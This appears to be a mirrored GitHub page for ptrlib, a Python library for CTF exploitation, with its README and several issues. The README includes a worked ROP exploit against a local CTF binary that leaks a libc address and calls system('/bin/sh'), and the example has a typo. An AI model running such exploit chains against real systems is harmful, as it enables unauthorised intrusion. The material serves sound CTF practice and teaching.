Giter VIP home page Giter VIP logo

ptrlib's Introduction

ptrlib

Python Test (Windows) Python Test (Ubuntu)

Python library which bundles security-related utilities.

Description

Ptrlib is a Python library for CTF players. It's designed to make it easy to write a complex program of cryptography, networking, exploit and so on.

Why not pwntools?

Ptrlib is designed to be as library-independent as possible. Also, ptrlib has some pros such as supporting Windows process.

Requirements

Supports: Python 3.8 or later

Library Dependency:

  • pycryptodome
  • pywin32 (when handling Windows process)

External Program:

  • When using SSH function:
    • ssh
    • expect
  • When using nasm function:
    • nasm

Usage

Basic examples are available at /examples.

Testcases under /tests may also help you understand ptrlib.

Quick Document

There are many functions in ptrlib. In this section we try using it for a pwnable task.

You can run executable or create socket like this:

sock = Process("./pwn01", cwd="/home/ctf")
sock = Process(["./pwn01", "--debug"], env={"FLAG": "flag{dummy}"})
sock = Process("make menuconfig", shell=True)
sock = Socket("localhost", 1234)
sock = Socket("example.com", 443, ssl=True, sni="neko")
sock = SSH("example.com", 22, username="ubuntu", password="p4s$w0rd")
sock = SSH("example.com", 22, username="ubuntu", identity="./id_rsa")

If you have the target binary or libc, it's recommended to load them first.

elf = ELF("./pwn01")
libc = ELF("./libc.so.6")

This doesn't fully analyse the binary so that it runs fast. Also, ELF class supports cache to reduce calculation.

You can use some useful methods such as got, plt, symbol, section and so on. The following is an example to craft ROP stager.

"""
Connect to host
"""
# Host name supports CTF-style
sock = Socket("nc localhost 1234")
# You can show hexdump for received/sent data for debug
#sock.debug = True

"""
Write ROP chain
"""
addr_stage2 = elf.section(".bss") + 0x400

payload = b'A' * 0x108
payload += flat([
  # puts(puts@got)
  next(elf.gadget("pop rdi; ret;")),
  elf.got("puts"),
  elf.plt("puts"),
  # gets(stage2)
  next(elf.gadget("pop rdi; ret;")),
  addr_stage2,
  elf.plt("gets"),
  # stack pivot
  next(elf.gadget("pop rbp; ret;")),
  addr_stage2,
  next(elf.gadget("leave\n ret")) # GCC-style
], map=p64)
sock.sendlineafter("Data: ", payload)

"""
Leak libc address
"""
# You don't need to fill 8 bytes for u64
leak = u64(sock.recvline())
# This will show warning if base address looks incorrect
libc.base = leak - libc.symbol("puts")

payload  = b'A' * 8
paylaod += p64(next(elf.gadget("ret")))
# Automatically rebase after <ELF>.base is set
payload += p64(next(libc.search("/bin/sh")))
payload += p64(libc.symbol("system"))

# Shows warning if payload contains a character `gets` cannot accept
is_gets_safe(payload) # is_[cin/fgets/gets/getline/scanf/stream]_safe

sock.sendline(payload)

sock.sh() # or sock.interactive()

Interaction with curses is supported since 2.1.0.

sock.recvscreen()
if sock.recvscreen(returns=list)[1][1] == '#':
  sock.sendctrl("up")
else:
  sock.sendctrl("esc")

Install

Run pip install --upgrade ptrlib or python setup.py install.

Licence

MIT

Author

ptr-yudai

Contributor

Feel free to make a pull request / issue :)

  • jptomoya
    • Added CI for Windows
    • Added SSL support
    • Refactored test cases
  • theoremoon
    • Added/fixed several cryptography functions
    • Added buffering of Socket/Process
    • Added status check (CI test)
  • keymoon
    • Added algorithm package

ptrlib's People

Contributors

akiym avatar iwashiira avatar jptomoya avatar key-moon avatar keymoon-ctf avatar ptr-yudai avatar rekter0 avatar rqdaa avatar satoki avatar theoremoon avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar

ptrlib's Issues

SNIへの対応

稀にSSLを強制してくるpwn問があるので対応する。

Add gmpy2 as requirements

  • READMEにgmpy2が必要と書かれてないけど実際は必要なので書いてほしいです(単に pip3 install gmpy2 だと libgmp-dev やらがないときにインストールに失敗する)
  • 絶対gmpy2あるので
    from gmpy2 import powmod as pow
    のtry exceptいらないですね

Script hangs on recvline

Hi, first of all, thanks for this lib. I am trying to move from pwntools, so I was using this lib to write my exploits for NahamCon CTF challenges. But, there was one particular binary that it wasn't working. Seems like the problem is related to functions like printf.

I wrote a small piece of code to test the behaviour:

#include <stdio.h>

int main(){
	char buf[128] = {0};
	printf("Test\n");
	scanf("%s\n", buf);
	printf("%s\n", buf);
	return 0;
}

I compiled the above with gcc test.c -o test and there's my test script:

from ptrlib import *
p = Process('./teste')
print(p.recvline())
p.interactive()

When I run the script, it hangs on p.recvline().

I did some changes on proc.py code and it worked, but I am afraid of doing a pull request, because I don't know if the code is suitable or if it is free of side effects. Perhaps, it may help you in order to solve the issue.

Thanks

Some recent changes are missing from master

It seems current master branch (6409a5b) does not reflect the commit f27c17a which merged #29. As a result, some recent changes are missing from master branch, including the changes from #27 and #29.

The following commands should fix the issue. However, please proceed only if you fully understand the implications:

git fetch origin f27c17a4110a2afc1c37ee9227528c0fd09ef15a
git switch master
git reset --hard f27c17a4110a2afc1c37ee9227528c0fd09ef15a
git push -f origin master

キャッシュのテストに関する問題

問題

_offset_main_arena 等のいくつかのメソッドはキャッシュされている。
テストを以下のように書くと、1度目の内部の main_arena 内で _offset_main_arena がキャッシュされる。

    def test_main_arena(self):
        self.elf.base = 0
        self.assertEqual(self.elf.main_arena(), 0x21ac80)
        self.elf.base = BASE
        self.assertEqual(self.elf.main_arena(), BASE + 0x21ac80)

したがって、ベースアドレスの変更に依存して _offset_main_arena の計算結果が変わる(というバグがある)場合、2度目の呼び出しはテストとして不適切である。

解決案

キャッシュを無効化する機能を用意し、有効・無効両方でテストする。

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.